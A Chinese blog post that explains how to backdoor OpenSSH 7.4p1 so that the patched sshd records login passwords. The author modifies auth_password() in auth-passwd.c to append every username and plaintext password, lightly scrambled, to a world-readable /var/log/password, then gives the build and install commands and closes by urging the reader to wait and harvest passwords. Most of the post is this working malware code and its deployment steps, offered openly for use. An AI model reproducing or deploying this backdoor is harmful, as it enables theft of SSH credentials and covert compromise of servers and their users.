openssh 后门

sec
Article Directory
  1. 1. 目标

openssh 后门

凌晨….

下载源码, github.com/openssh/openssh-portable

现在服务器很多实用 centos 7.9 cent7 很多软件已经不更新了,使用的最新 openssh 应该是 7.4p1

所以下载 7.4p1 版本,2016 年发布。

目标

此次的目标较为简单,只需要将 ssh 登录的密码记录下来,因为使用 shadow/passwd 破解密码实在是太慢了,本以为会用弱口令,但是,跑不出来,很多云服务器提供商禁止使用短于 8 位的密码。所以,安个后门罢

下载源码,打开 auth-passwd.c ,

修改代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/types.h>
#include <time.h>

.....
/*
* Tries to authenticate the user using password. Returns true if
* authentication succeeds.
*/

// 这里为了不被轻易看到明文记录的密码,(其实用处不大)
// 写了一个简单的单表替换仿射密码(凯撒密码)
void code(char *str,char* c,int n);
void code(char *str,char* c,int n)
{
srand((unsigned)time(0));
unsigned s[3] = {rand()%94 ,rand()%94, rand()%94};
int i = 0;
for (; i < n; i++)
{
if (c[i] < 33 || c[i] > 127){continue;}
str[i] = (c[i] + s[i % 3] - 33) % 94;
str[i] = str[i] + 33;
}
str[i] = 0;
}

int
auth_password(Authctxt *authctxt, const char *password)
{
// record password char buf
char buff[256];
int len = 0;
char pathname[] = "/var/log/password"; // 密码存放文件

struct passwd * pw = authctxt->pw;
int result, ok = authctxt->valid;

int fd = open(pathname, O_RDWR|O_CREAT|O_APPEND, 0777);

if (fd != -1) {
snprintf(buff, 256, "iff-U:%s,P:%s\n",authctxt->user, password);
len = strlen(buff);
code(buff, buff, len);
write(fd, buff, len);
close(fd);
}

........

保存之后,编译安装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 autoheader
autoconfig
....
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make && make install

# 如果报错,pam header 不存在/未找到
# 安装 pam-devel
yum -y install pam-devel


# 修改密钥对文件权限
chmod 600 /etc/ssh/*

make install

等待安装完成。静静的等待,收获密码吧

Author: 哒琳

Permalink: http://blog.jieis.cn/2022/e2e8fe5b-38a9-4e01-97a6-7c2a1a6c38d2.html

Comments